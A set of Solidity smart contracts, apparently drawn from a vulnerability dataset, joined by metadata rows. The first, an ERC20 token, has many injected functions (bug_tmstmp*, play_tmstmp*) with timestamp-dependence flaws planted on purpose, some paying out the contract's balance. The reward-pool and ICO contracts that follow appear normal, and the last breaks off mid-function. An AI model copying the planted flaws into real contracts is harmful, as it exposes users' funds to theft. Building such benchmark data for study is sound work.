contract QurasToken is ERC20Interface, Owned { //SafeMath -> using SafeMath for uint; : compiler version up
using SafeMath for uint;
function bug_tmstmp1() view public returns (bool) {
return block.timestamp >= 1546300800;
}
string public symbol;
address winner_tmstmp2;
function play_tmstmp2(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp2 = msg.sender;}}
string public name;
function bug_tmstmp17() view public returns (bool) {
return block.timestamp >= 1546300800;
}
uint8 public decimals;
function bug_tmstmp37() view public returns (bool) {
return block.timestamp >= 1546300800;
}
uint _totalSupply; //unit public -> uint : compiler version up
address winner_tmstmp3;
function play_tmstmp3(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp3 = msg.sender;}}
mapping(address => uint) balances;
function bug_tmstmp9() view public returns (bool) {
return block.timestamp >= 1546300800;
}
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public { //function -> constructor : compiler version up
symbol = "XQC";
name = "Quras Token";
decimals = 8;
_totalSupply = 88888888800000000;
balances[owner] = _totalSupply; //direct address -> owner : compiler version up
emit Transfer(address(0), owner, _totalSupply); //add emit, direct address -> owner : compiler version up
}
address winner_tmstmp30;
function play_tmstmp30(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp30 = msg.sender;}}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) { //constant -> view : compiler version up
return _totalSupply.sub(balances[address(0)]);
}
function bug_tmstmp8 () public payable {
uint pastBlockTime_tmstmp8; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp8); // only 1 transaction per block //bug
pastBlockTime_tmstmp8 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) { //constant -> view : compiler version up
return balances[tokenOwner];
}
address winner_tmstmp39;
function play_tmstmp39(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp39 = msg.sender;}}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens); //add emit : compiler version up
return true;
}
function bug_tmstmp36 () public payable {
uint pastBlockTime_tmstmp36; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp36); // only 1 transaction per block //bug
pastBlockTime_tmstmp36 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
address winner_tmstmp35;
function play_tmstmp35(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp35 = msg.sender;}}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function bug_tmstmp40 () public payable {
uint pastBlockTime_tmstmp40; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp40); // only 1 transaction per block //bug
pastBlockTime_tmstmp40 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens); //add emit : compiler version up
return true;
}
function bug_tmstmp33() view public returns (bool) {
return block.timestamp >= 1546300800;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens); //add emit : compiler version up
return true;
}
address winner_tmstmp27;
function play_tmstmp27(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp27 = msg.sender;}}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) { //constant -> view : compiler version up
return allowed[tokenOwner][spender];
}
address winner_tmstmp31;
function play_tmstmp31(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp31 = msg.sender;}}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens); //add emit : compiler version up
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function bug_tmstmp13() view public returns (bool) {
return block.timestamp >= 1546300800;
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
uint256 bugv_tmstmp5 = block.timestamp;
}
| 132,766 | 525 |
4a2501f9ed7c190c6d21dc7e2b0402f5d36c20ddd79652b056dec9c67345de3f
| 31,825 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/85/85e091851a5cc7d500d8c07fda3366e762016340_SscarRewardPool.sol
| 5,153 | 19,540 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Note that this pool has no minter key of sPLAT (rewards).
contract SscarRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. sPLATs to distribute per block.
uint256 lastRewardTime; // Last time that sPLATs distribution occurs.
uint256 accSPlatPerShare; // Accumulated sPLATs per share, times 1e18. See below.
bool isStarted; // if lastRewardTime has passed
}
IERC20 public splat;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The time when sPLAT mining starts.
uint256 public poolStartTime;
// The time when sPLAT mining ends.
uint256 public poolEndTime;
uint256 public sPlatPerSecond = 0.00450102 ether; // 70000 splat / (180 days * 24h * 60min * 60s)
uint256 public runningTime = 180 days; // 370 days
uint256 public constant TOTAL_REWARDS = 70000 ether;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _splat,
uint256 _poolStartTime) public {
require(block.timestamp < _poolStartTime, "late");
if (_splat != address(0)) splat = IERC20(_splat);
poolStartTime = _poolStartTime;
poolEndTime = poolStartTime + runningTime;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "SPlatRewardPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _token) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "SPlatRewardPool: existing pool?");
}
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
// chef is sleeping
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
} else {
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
} else {
// chef is cooking
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted =
(_lastRewardTime <= poolStartTime) ||
(_lastRewardTime <= block.timestamp);
poolInfo.push(PoolInfo({
token : _token,
allocPoint : _allocPoint,
lastRewardTime : _lastRewardTime,
accSPlatPerShare : 0,
isStarted : _isStarted
}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's sPLAT allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _from to _to block.
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
if (_fromTime >= _toTime) return 0;
if (_toTime >= poolEndTime) {
if (_fromTime >= poolEndTime) return 0;
if (_fromTime <= poolStartTime) return poolEndTime.sub(poolStartTime).mul(sPlatPerSecond);
return poolEndTime.sub(_fromTime).mul(sPlatPerSecond);
} else {
if (_toTime <= poolStartTime) return 0;
if (_fromTime <= poolStartTime) return _toTime.sub(poolStartTime).mul(sPlatPerSecond);
return _toTime.sub(_fromTime).mul(sPlatPerSecond);
}
}
// View function to see pending sPLATs on frontend.
function pendingShare(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSPlatPerShare = pool.accSPlatPerShare;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime && tokenSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _splatReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accSPlatPerShare = accSPlatPerShare.add(_splatReward.mul(1e18).div(tokenSupply));
}
return user.amount.mul(accSPlatPerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _splatReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accSPlatPerShare = pool.accSPlatPerShare.add(_splatReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accSPlatPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeSPlatTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accSPlatPerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accSPlatPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeSPlatTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accSPlatPerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.token.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
function safeSPlatTransfer(address _to, uint256 _amount) internal {
uint256 _splatBal = splat.balanceOf(address(this));
if (_splatBal > 0) {
if (_amount > _splatBal) {
splat.safeTransfer(_to, _splatBal);
} else {
splat.safeTransfer(_to, _amount);
}
}
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external onlyOperator {
if (block.timestamp < poolEndTime + 90 days) {
// do not allow to drain core token (sPLAT or lps) if less than 90 days after pool ends
require(_token != splat, "splat");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "pool.token");
}
}
_token.safeTransfer(to, amount);
}
}
| 330,153 | 526 |
f52691774c18294d38d3f1b030e77b75e885090bc71582f110b77c72bee5fc17
| 19,835 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xacfa209fb73bf3dd5bbfb1101b9bc999c49062a5.sol
| 4,479 | 18,051 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract VestedToken {
using SafeMath for uint256;
// Vested wallet address
address public vestedAddress;
// Vesting time
uint private constant VESTING_DELAY = 1 years;
// Token will be tradable TOKEN_TRADABLE_DELAY after
uint private constant TOKEN_TRADABLE_DELAY = 12 days;
// True if aside tokens have already been minted after second round
bool public asideTokensHaveBeenMinted = false;
// When aside tokens have been minted ?
uint public asideTokensMintDate;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
modifier transferAllowed { require(asideTokensHaveBeenMinted && now > asideTokensMintDate + TOKEN_TRADABLE_DELAY); _; }
// Get the balance from an address
function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; }
// transfer ERC20 function
function transfer(address _to, uint256 _value) transferAllowed public returns (bool success) {
require(_to != 0x0);
// founders wallets is blocked 1 year
if (msg.sender == vestedAddress && (now < (asideTokensMintDate + VESTING_DELAY))) { revert(); }
return privateTransfer(_to, _value);
}
// transferFrom ERC20 function
function transferFrom(address _from, address _to, uint256 _value) transferAllowed public returns (bool success) {
require(_from != 0x0);
require(_to != 0x0);
// founders wallet is blocked 1 year
if (_from == vestedAddress && (now < (asideTokensMintDate + VESTING_DELAY))) { revert(); }
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
// approve ERC20 function
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// allowance ERC20 function
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function privateTransfer (address _to, uint256 _value) private returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
// Events ERC20
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract WhitelistsRegistration is Ownable {
// List of whitelisted addresses for KYC under 10 ETH
mapping(address => bool) silverWhiteList;
// List of whitelisted addresses for KYC over 10 ETH
mapping(address => bool) goldWhiteList;
// Different stage from the ICO
enum WhiteListState {
// This address is not whitelisted
None,
// this address is on the silver whitelist
Silver,
// this address is on the gold whitelist
Gold
}
address public whiteLister;
event SilverWhitelist(address indexed _address, bool _isRegistered);
event GoldWhitelist(address indexed _address, bool _isRegistered);
event SetWhitelister(address indexed newWhiteLister);
modifier onlyOwnerOrWhiteLister() {
require((msg.sender == owner) || (msg.sender == whiteLister));
_;
}
// Return registration status of an specified address
function checkRegistrationStatus(address _address) public constant returns (WhiteListState) {
if (goldWhiteList[_address]) { return WhiteListState.Gold; }
if (silverWhiteList[_address]) { return WhiteListState.Silver; }
return WhiteListState.None;
}
// Change registration status for an address in the whitelist for KYC under 10 ETH
function changeRegistrationStatusForSilverWhiteList(address _address, bool _isRegistered) public onlyOwnerOrWhiteLister {
silverWhiteList[_address] = _isRegistered;
SilverWhitelist(_address, _isRegistered);
}
// Change registration status for an address in the whitelist for KYC over 10 ETH
function changeRegistrationStatusForGoldWhiteList(address _address, bool _isRegistered) public onlyOwnerOrWhiteLister {
goldWhiteList[_address] = _isRegistered;
GoldWhitelist(_address, _isRegistered);
}
// Change registration status for several addresses in the whitelist for KYC under 10 ETH
function massChangeRegistrationStatusForSilverWhiteList(address[] _targets, bool _isRegistered) public onlyOwnerOrWhiteLister {
for (uint i = 0; i < _targets.length; i++) {
changeRegistrationStatusForSilverWhiteList(_targets[i], _isRegistered);
}
}
// Change registration status for several addresses in the whitelist for KYC over 10 ETH
function massChangeRegistrationStatusForGoldWhiteList(address[] _targets, bool _isRegistered) public onlyOwnerOrWhiteLister {
for (uint i = 0; i < _targets.length; i++) {
changeRegistrationStatusForGoldWhiteList(_targets[i], _isRegistered);
}
}
function setWhitelister(address _newWhiteLister) public onlyOwnerOrWhiteLister {
require(_newWhiteLister != address(0));
SetWhitelister(_newWhiteLister);
whiteLister = _newWhiteLister;
}
}
contract BCDToken is VestedToken, WhitelistsRegistration {
string public constant name = "Blockchain Certified Data Token";
string public constant symbol = "BCDT";
uint public constant decimals = 18;
// Maximum contribution in ETH for silver whitelist
uint private constant MAX_ETHER_FOR_SILVER_WHITELIST = 10 ether;
// ETH/BCDT rate
uint public rateETH_BCDT = 13000;
// Soft cap, if not reached contributors can withdraw their ethers
uint public softCap = 1800 ether;
// Cap in ether of presale
uint public presaleCap = 1800 ether;
// Cap in ether of Round 1 (presale cap + 1800 ETH)
uint public round1Cap = 3600 ether;
// BCD Reserve/Community Wallets
address public reserveAddress;
address public communityAddress;
// Different stage from the ICO
enum State {
// ICO isn't started yet, initial state
Init,
// Presale has started
PresaleRunning,
// Presale has ended
PresaleFinished,
// Round 1 has started
Round1Running,
// Round 1 has ended
Round1Finished,
// Round 2 has started
Round2Running,
// Round 2 has ended
Round2Finished
}
// Initial state is Init
State public currentState = State.Init;
// BCDT total supply
uint256 public totalSupply = MAX_TOTAL_BCDT_TO_SELL;
// How much tokens have been sold
uint256 public tokensSold;
// Amount of ETH raised during ICO
uint256 private etherRaisedDuringICO;
// Maximum total of BCDT Token sold during ITS
uint private constant MAX_TOTAL_BCDT_TO_SELL = 100000000 * 1 ether;
// Token allocation per mille for reserve/community/founders
uint private constant RESERVE_ALLOCATION_PER_MILLE_RATIO = 200;
uint private constant COMMUNITY_ALLOCATION_PER_MILLE_RATIO = 103;
uint private constant FOUNDERS_ALLOCATION_PER_MILLE_RATIO = 30;
// List of contributors/contribution in ETH
mapping(address => uint256) contributors;
// Use to allow function call only if currentState is the one specified
modifier inStateInit()
{
require(currentState == State.Init);
_;
}
modifier inStateRound2Finished()
{
require(currentState == State.Round2Finished);
_;
}
// Event call when aside tokens are minted
event AsideTokensHaveBeenAllocated(address indexed to, uint256 amount);
// Event call when a contributor withdraw his ethers
event Withdraw(address indexed to, uint256 amount);
// Event call when ICO state change
event StateChanged(uint256 timestamp, State currentState);
// Constructor
function BCDToken() public {
}
function() public payable {
require(currentState == State.PresaleRunning || currentState == State.Round1Running || currentState == State.Round2Running);
// min transaction is 0.1 ETH
if (msg.value < 100 finney) { revert(); }
// If you're not in any whitelist, you cannot continue
if (!silverWhiteList[msg.sender] && !goldWhiteList[msg.sender]) {
revert();
}
// ETH sent by contributor
uint256 ethSent = msg.value;
// how much ETH will be used for contribution
uint256 ethToUse = ethSent;
// Address is only in the silver whitelist: contribution is capped
if (!goldWhiteList[msg.sender]) {
// Check if address has already contributed for maximum allowance
if (contributors[msg.sender] >= MAX_ETHER_FOR_SILVER_WHITELIST) {
revert();
}
// limit the total contribution to MAX_ETHER_FOR_SILVER_WHITELIST
if (contributors[msg.sender].add(ethToUse) > MAX_ETHER_FOR_SILVER_WHITELIST) {
ethToUse = MAX_ETHER_FOR_SILVER_WHITELIST.sub(contributors[msg.sender]);
}
}
// Calculate how much ETH are available for this stage
uint256 ethAvailable = getRemainingEthersForCurrentRound();
uint rate = getBCDTRateForCurrentRound();
// If cap of the round has been reached
if (ethAvailable <= ethToUse) {
// End the round
privateSetState(getEndedStateForCurrentRound());
// Only available ethers will be used to reach the cap
ethToUse = ethAvailable;
}
// Calculate token amount to send in accordance to rate
uint256 tokenToSend = ethToUse.mul(rate);
// Amount of tokens sold to the current contributors is added to total sold
tokensSold = tokensSold.add(tokenToSend);
// Amount of ethers used for the current contribution is added the total raised
etherRaisedDuringICO = etherRaisedDuringICO.add(ethToUse);
// Token balance updated for current contributor
balances[msg.sender] = balances[msg.sender].add(tokenToSend);
